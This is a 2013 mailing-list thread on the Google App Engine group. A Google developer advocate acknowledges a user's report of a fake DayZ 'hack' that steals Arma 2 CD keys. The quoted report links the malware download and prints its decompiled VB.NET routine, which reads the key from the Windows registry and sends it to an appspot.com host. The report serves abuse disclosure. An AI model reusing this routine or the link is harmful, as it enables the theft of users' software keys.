Hi Igor, Thanks for the report. I forwarded your report to the appropriate dept.
-- Takashi On Mon, Feb 25, 2013 at 12:48 PM, Igor Macallister <igorma...@gmail.com> wrote: > Recently a video on YouTube (http://www.youtube.com/watch?v=i3WTLBHGxJg) > shows a "hack" for Arma 2 - DayZ, the download contain a dangerous file, > what it makes is to take the installation key of Arma 2 from the victim, > send to Internet, and then replaces the victim's key with a banned one, and > add "Everyone cant edit/read" the section of the Arma 2 key in the registry > to prevent victim to change the key. > > This is the link of the file: > http://www.mediafire.com/?46wy99z7fwpmlrk > > After "decompiling" his "hack" (keystealer): > > Private Shared Sub SendKey() > Dim key As RegistryKey > Try > key = Registry.LocalMachine.OpenSubKey("Software\Bohemia > Interactive Studio\ArmA 2 OA", True) > Catch exception1 As Exception > key = Nothing > End Try > If (Not key Is Nothing) Then > Dim buffer As Byte() = DirectCast(key.GetValue("KEY"), > Byte()) > Program.keys = ("CD Key: " & BitConverter.ToString(buffer) & > ChrW(10)) > Try > > WebRequest.Create(("http://cybermitodb.appspot.com/key?s="; & > Program.keys)).GetResponse > Catch exception2 As Exception > End Try > End If > End Sub > > So, I am sure that if you analyze http://cybermitodb.appspot.com and the > email of this user you will find a lot of evidence of his key stealer (like > a bunch of stolen keys, and contact info for selling them). > > -- > You received this message because you are subscribed to the Google Groups > "Google App Engine" group. > To unsubscribe from this group and stop receiving emails from it, send an > email to google-appengine+unsubscr...@googlegroups.com. > To post to this group, send email to google-appengine@googlegroups.com. > Visit this group at http://groups.google.com/group/google-appengine?hl=en. > For more options, visit https://groups.google.com/groups/opt_out. > > -- Takashi Matsuo | Developers Advocate | tmat...@google.com -- You received this message because you are subscribed to the Google Groups "Google App Engine" group. To unsubscribe from this group and stop receiving emails from it, send an email to google-appengine+unsubscr...@googlegroups.com. To post to this group, send email to google-appengine@googlegroups.com. Visit this group at http://groups.google.com/group/google-appengine?hl=en. For more options, visit https://groups.google.com/groups/opt_out.
